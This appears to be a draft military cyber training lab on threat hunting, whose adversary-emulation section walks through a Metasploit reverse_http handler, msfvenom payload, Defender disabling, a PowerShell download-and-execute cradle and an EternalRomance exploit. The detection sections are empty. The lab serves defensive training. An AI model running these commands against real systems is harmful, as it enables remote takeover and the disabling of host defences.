<Instructor>

32 WPS/DOA | Nellis AFB, Nevada

**<Weapon/Defensive> System Training - <#>**

Lab: <Content>

Contents

[Lab: Threat Hunting with Event Logs and Wireshark 2](#_Toc145852561)

[Overview 2](#_Toc145852562)

[Procedures 3](#_Toc145852563)

[Step 1. Configure Custom Index Patterns 3](#_Toc145852564)

[Step 2. Explore Event 4688 Fields 6](#_Toc145852565)

[Step 3. Review the Index Mapping 10](#_Toc145852566)

[Step 4. Create a Threat Hunting Dashboard 13](#_Toc145852567)

[Step 5. Create Visualization of Child Processes 15](#_Toc145852568)

[Step 6. Create Visualization of Parent Processes 21](#_Toc145852569)

[Step 7. Create a Lens Table Detailed View 24](#_Toc145852570)

[Step 8. Experiment with Filters and Understand the Impact 28](#_Toc145852571)

[Summary 31](#_Toc145852572)

[Appendix 33](#_Toc145852573)

[Appendix A: Event Id 4688 Fields 33](#_Toc145852574)

[Appendix B: ElasticSearch Fields 35](#_Toc145852575)

|  |  |  |
| --- | --- | --- |
| **Symbols Table** | |  |
| **Symbol** | **Name** | **Meaning** |
| ✅ | **Note** | Detailed information that is required to fully understanding the concept or to be able to execute a procedure but is not necessarily related to a key learning objective. |
| **💡** | **Learning Point** | Information related to key learning objectives. |
| ⚠️ | **Warning** | Important information related to safety and security. |
| ✋ | **Raise Hand** | Raise your hand for instructor assistance. This is often used at critical points to validate your understanding of the material. |

# Lab: Threat Hunting with Event Logs and Wireshark

## Overview

**Summary:** The purpose of this lab is to acquire the necessary knowledge and skills to effectively navigate event logs and Wireshark queries to detect and investigate malicious cyber activity. To demonstrate these skills, you will become familiar with Metasploit to validate your detections.

**Outcomes:** By the end of the lab, you will be able to perform the following:

* Discover events and fields extracted from provided data sources.
* Create Windows event log queries using PowerShell and Command Line.
* Create PCAP queries using Wireshark.
* Create analytics for detecting or highlighting malicious activity.
* Utilize Metasploit for command and control
* Utilize Metasploit to add privileged users
* Utilize Metasploit to exploit a Domain Controller using EternalRomance
* Utilize Metasploit to steal active user sessions to access network resources

## Emulation Procedures

### Setup Metasploit and pcap

The first step in tuning our detections is emulating adversary activity in a controlled environment. We’ll walk through setting up Metasploit by creating two handlers (one for persistence and one for C2), generating a payload, and hosting the payload on a Python web server.

#### Creating metasploit handlers

1. Start Metasploit
   1. msfconsole
2. Create multi handler to handle multiple connections to same listener
   1. use exploit/multi/handler
3. Set the payload to the target and preferred C2. For this example, we’ll use Windows (64 bit) and reverse HTTP.
   1. set payload windows/x64/meterpreter/reverse\_http
4. Set LHOST and LPORT to what interface and port the C2 traffic should communicate with
   1. set LHOST X.X.X.X
      1. Note: You can use 0.0.0.0 to listen on all interfaces, but understand the implications of this
   2. set LPORT 4444
5. Show options and advanced options to verify that all settings have been accounted for
   1. show options
   2. show advanced
      1. Note: ExitOnSession should be set to false
      2. set ExitOnSession false
   3. Your output should be like the screenshots below:

Show options:

A screenshot of a computer program

Description automatically generated

Show advanced:

A screenshot of a computer

Description automatically generated

1. Run the handler as a job and verify the job is running
   1. run -j
   2. jobs
2. Now that Metasploit is listening for connections, we must create a payload to execute and callback to this handler. One of the easier ways to accomplish this is with msfvenom. Create an ‘uploads’ folder to cleanly keep track of your artifacts, and run msfvenom there:
   1. mkdir up
   2. cd up
   3. msfvenom --payload windows/x64/meterpreter/reverse\_http LHOST=X.X.X.X LPORT=4444 -f psh-cmd -o initial.ps1
      1. Note: This should match our handler
      2. Note2: You may receive an error about the Powershell command length is greater than the command line maximum. Attempt to run msfvenom again until success.

A screen shot of a computer

Description automatically generated

1. Next we’ll need to remove the header from the ps1 due to how we plan to execute it. Use vi or your tool of choice to remove the header. I’ve included a sed line below for simplicity.
   1. sed -i 's/%COMSPEC% \/b \/c start \/b \/min //g' initial.ps1

A screen shot of a computer code

Description automatically generated

1. Now we need a way for our target to reach the payload and then to download and execute it. For the purpose of this exercise, we’ll assume there is connectivity between target and attacker. Start a Python webserver, and test that the client can reach the directory page.
   1. python -m http.server 80
      1. Note: This should be ran from the directory where the payloads were created
2. Browse to the IP of the attacker station on a web browser on the target machine to validate and finish this step

A screenshot of a computer

Description automatically generated

Pastables

msfconsole

use exploit/multi/handler

set payload windows/x64/meterpreter/reverse\_http

set LHOST X.X.X.X

set LPORT 4444

show options

show advanced

run -j

jobs

mkdir up

cd up

msfvenom --payload windows/x64/meterpreter/reverse\_http LHOST=X.X.X.X LPORT=4444 -f psh-cmd -o initial.ps1

sed -i 's/%COMSPEC% \/b \/c start \/b \/min //g' initial.ps1

python -m http.server 80

### Execute implant on target

1. The first issue you’ll run into is Windows Defender eating up your generic and well documented payloads. Ensure that Defender is disabled by entering the following in an elevated Powershell prompt:
   1. get-mppreference | findstr -i disablerealtime
      1. Note: This should read True, if Defender is disabled
   2. Set-MpPreference -DisableRealTimeMonitoring $True
2. Next you’ll run an elevated command prompt to execute a download and execute of your payload
   1. powershell -c "iex ((New-Object Net.Webclient).Downloadstring('http://192.168.138.130/initial.ps1'))"
3. You should now check your attacker workstation and verify a session has been established as shown below:

A computer screen with text

Description automatically generated

1. Attempt to run basic commands to ensure privileges, target, and user context as well as to create some artifacts to find later
   1. shell
   2. whoami
   3. hostname

A computer screen shot of a computer program

Description automatically generated

### Pivot to another target via eternalromance

1. Add a route to pivot to our next target through the already established session
   1. route add X.X.X.0 1
   2. Note: The 2 values are the subnet to route to and the session to use



1. Next configure ms17\_010 (EternalRomance) to exploit the next target
   1. use exploit/windows/smb/ms17\_010\_psexec
   2. set RHOSTS X.X.X.X
   3. exploit
      1. Note: Running this module without SMBUser/SMBPass is effectively running EternalRomance, however if credentials are provided this will be a standard PSExec exploit

### Establish Persistence

### Steal credentials and Access network resources

## detection Procedures

### Access Client1 via psremoting

Ensure that hosts are added into each others trusted hosts file:

1. Set-Item WSMan:\localhost\Client\TrustedHosts -value “X.X.X.X” -Concatenate
2. Get-Item WSMan:\localhost\Client\TrustedHosts

### Identify artifacts in windows event logs

### Analyze collected artifacts to identify malicious activity

### investigate network traffic using wireshark